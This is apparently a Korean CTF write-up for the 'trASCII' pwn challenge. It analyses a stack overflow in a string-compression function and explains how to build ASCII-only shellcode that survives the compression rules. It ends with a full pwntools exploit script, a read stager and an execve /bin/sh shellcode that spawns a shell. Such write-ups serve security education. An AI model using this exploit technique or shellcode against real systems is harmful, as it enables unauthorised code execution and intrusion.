keyword : ascii only shellcode
# analysis bug
int compact()
{
size_t v0; // eax
int i; // [esp+4h] [ebp-54h]
signed int v3; // [esp+8h] [ebp-50h]
size_t v4; // [esp+Ch] [ebp-4Ch]
char s[72]; // [esp+10h] [ebp-48h]
memset(s, 0, 0x40u);
puts("What garbage do you have for us today?");
fgets(trash, 10000, stdin);
v4 = strlen(trash);
if ( !v4 )
{
puts("You didn't enter any trash :(");
exit(-1);
}
trash[v4 - 1] = 0;
for ( i = 0; i < (signed int)(v4 - 1); ++i )
{
v3 = 1;
while ( i < (signed int)(v4 - 1) && trash[i] == trash[i + 1] )
{
++v3;
++i;
}
if ( trash[i] > 0x7A || trash[i] <= 0x2F )
{
puts("That's not trash, that's recycling");
exit(-1);
}
s[strlen(s) + 1] = 0;
s[strlen(s)] = trash[i];
v0 = strlen(s); // overflow
sprintf(&s[v0], "%d", v3);
}
memset(trash, 0, 0x2710u);
strcpy(trash, s);
return printf("Thanks for the trash! Here's how I compressed it: %s\n", trash);
}
32bit elf 파일이 주어집니다. compact 함수는사용자로부터 입력을 받은 후 이를 압축합니다. 예를 들면 아래와 같습니다.
-
aaab-> a3b1
-
aaaaaaaaaabbbbcc->a10b4c2
compact 함수의 루프를 보면 stack buffer overflow가 발생하는 것을 볼 수 있습니다. 10000만큼 입력받기 때문에 길이제한에서는 비교적 자유롭습니다. 다만 입력되는 문자열은 0x30보다 크고 0x7a보다 작아야 합니다. 또한 overflow되는 문자열은 압축된 문자열이기 때문에 다음과 같은 규칙을 따라야 합니다.
-
0x30보다 크고 0x7a보다 작아야 한다.
-
숫자를 제외한 문자는 연속으로 올 수 없다.
bss 영역의 주소는 ascii로 표현 가능한 것을 알 수 있습니다. 따라서 trash에 쉘코드를 넣은 후 return address를 trash로 바꿔야 합니다.
아래는 compact함수의 에필로그입니다. 우리가 stack overflow를 유발할 경우 ebx,edi,ebp 레지스터에 값을 쓴 체로 쉘코드에 진입하게 된다는 것을 확인할 수 있습니다.
.text:080493C9 lea esp, [ebp-8]
.text:080493CC pop ebx
.text:080493CD pop edi
.text:080493CE pop ebp
.text:080493CF retn
# shellcoding
문제의 핵심은 쉘코드를 작성하는 부분입니다.일반적인 ascii only shellcode보다 까다로운 조건을 만족해야 하기 때문입니다.
https://nets.ec/Ascii_shellcode의 Available Instructions 파트를 확인하면 사용할 수 있는 연산자를 알 수 있습니다. 이를 참고하여 아래 코드에서 사용한 트릭은 다음과 같습니다.
-
eax의 값이 바뀌어도 상관없는 부분은 0x37 --> "aaa"를 NOP으로 활용한다.
-
0x37은 숫자에 포함되며 싱글 바이트이기 때문에 페이로드를 규칙에 끼워넣기 위해서 유용하게 사용됩니다.
-
eax의 값이 바뀌면 안되는 부분은 NOP으로 아래의 두 어셈블리를 이용합니다. (glibc 2.27의 기준으로) 쉘코드가 실행될 때 ecx는 0이며, esi는 유효한 주소를 가리키고 있습니다.
-
"cmp BYTE PTR [esi], dh" -->3836
-
" cmp BYTE PTR [ecx+esi*1], dh" --> 383431
-
ascii 범위를 벗어난 코드를 사용해야 할 때는 esp를 쉘코드가 있는 곳으로 바꾼 뒤 "xor eax, some; push eax"를 이용합니다.
-
이를 통하여 "int 0x80"과 "xchg ecx,ebx"를 실행할 수 있습니다.
-
이에 대한 자세한 설명은 https://nets.ec/Ascii_shellcode The kernel interrupt를 확인하세요.
-
다만 위 링크에 있는 두 번 xor하는 방식은 해당 바이너리의 규칙인 "숫자를 제외한 문자는 연속으로 올 수 없다"에 걸리기 때문에 3번 xor하는 방식을 선택했습니다.
-
execve 쉘코드가 아닌 read를 실행하는 쉘코드를 입력한다.
-
execve 쉘코드보다 read 쉘코드가 간단하기 때문입니다. ecx가 eip 근처를 가리키게 한 후 read를 실행하면 됩니다. 두 번째 입력에서 NOP SLED와 함께 쉘을 띄우는 쉘코드를 주입합니다.
-
취약점이 트리거된 당시 ecx의 값은 0이고 ebx의 값은 쉘코드를 가리키고 있습니다(ebx는 우리가 임의로 값을 적을 수 있기 때문입니다). 따라서 "xchg ecx,ebx"로 read의 인자를 한 번에 맞출 수 있습니다. size를 나타내는 edx는 stack의 주소를 가리키는데, 32비트에서는 size가 음수여도 read되기 때문에 상관없습니다.
-
eax를 "xchg ecx,ebx; int 0x80;"로 만들기 위해서 xor을 3번 사용했던 것과 마찬가지로 eax를 0xfffffff로 만들기 위해서 xor을 3번 합니다. 이후 "inc eax"를 통해 eax를 read의 syscall number인 3으로 맞춰줍니다.
위 트릭과 약간의 노가다를 합치면 쉘코드를 작성할 수 있습니다.
from pwn import *
p=process('trASCII')
#p= remote('ctf.umbccd.io' ,4800)
payload ="az"*10+'bt'*5+"q"*0x10+"w"*3#33
payload+=chr(0x5b)+chr(0x50)#ebx
payload+="z"*9+"x"*9#edi
payload+='ew'*1#ebp
payload+="\x53"#last bit
payload+=chr(0x50)*8#0x50395231 0x50 31 52 35
#trash+324
payload+=(chr(0x6a)+chr(0x34))*0x22d#nop sled
payload+=chr(0x37)*7#nop one
'''
NOP
asm "cmp BYTE PTR [esi], dh"
3836
disasm "383431"
0: 38 34 31 cmp BYTE PTR [ecx+esi*1], dh
hex(0x3131^0xcd80)
ffff ^ 7F32 =80cd
0x7a31^0x3731^0x3232=0x7f32
dec eax; xor eax,0x7a31;xor eax,0x3731;xor eax,0x3232
#set eax =0x80cdd987 --> xchg ecx,ebx; int 0x80
asm "push 0x31;pop eax;cmp BYTE PTR [esi], dh;xor al, 0x31;dec eax;cmp BYTE PTR [esi], dh;xor eax,0x7a323178;cmp BYTE PTR [esi], dh;xor eax,0x37326e32;xor eax,0x32327932"
6a31
5838
363431
4838
3635
783132
7a38
363532
6e32
373532
793232
'''
payload+=chr(0x6a)
payload+=chr(0x58)*0x8
payload+=chr(0x36)*41
payload+=chr(0x48)*8
payload+=chr(0x36)*5
payload+=chr(0x78)*12
payload+=chr(0x7a)*8
payload+=chr(0x36)*52
payload+=chr(0x6e)*2
payload+=chr(0x37)*52
payload+=chr(0x79)*22
'''
#set esp to eip; push eax;set eax
asm "push 0x50315c33;cmp BYTE PTR [esi], dh;pop esp;cmp BYTE PTR [esi], dh;push eax;cmp BYTE PTR [esi], dh;"
6833
5c31
503836
5c3836
503836
'''
payload+=chr(0x68)*3#addr
payload+=chr(0x5c)
payload+=chr(0x50)*86
payload+=chr(0x5c)*86
payload+=chr(0x50)*86
########xor to make eax 0xffffffff and inc 4
'''
#eax = 0x80cdd987
0x76387938
0x31396e33
0x38333173
asm "xor eax,0x76387938; xor eax,0x31396e33; xor eax,0x38333173;"
3538
7938
763533
6e39
3135
7331
3338
asm "inc eax;cmp BYTE PTR [esi], dh;"
403836
'''
payload+=chr(0x35)*8
payload+=chr(0x79)*8
payload+=chr(0x76)*53
payload+=chr(0x6e)*9
payload+=chr(0x31)*5
payload+=chr(0x73)
payload+=chr(0x33)*8
for x in range(4):
payload+=chr(0x40)*8
payload+=chr(0x34)*1
#########NOP SLED######
for x in range(0x30-3):
payload+=chr(0x38)*4
payload+=chr(0x31)*86
p.sendline(payload)
p.recvuntil("Thanks for the trash! Here's how I compressed it: ")
payload = "\x90"*0x100
payload+='\x31\xc0\x31\xd2\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80'
p.sendline(payload)
p.interactive()
byte=0x87
for x in range(0x31,0x7a):
for y in range(0x31,0x7a):
for z in range(0x31,0x7a):
if x^y^z^0xff==byte:
print ("%x %x %x"%(x,y,z))
'PWN' 카테고리의 다른 글
Multiple vulnerabilities In radare2-extras / Fixed (0) | 2020.07.03 |
---|---|
2020 PWN2WIN / tukro (0) | 2020.06.01 |
HackCTF/ Unexploitable #4 (0) | 2020.03.24 |
FireShell CTF 2020 / FireHTTPD (0) | 2020.03.23 |
peda, pwndbg, gef 같이 쓰기 (0) | 2020.03.08 |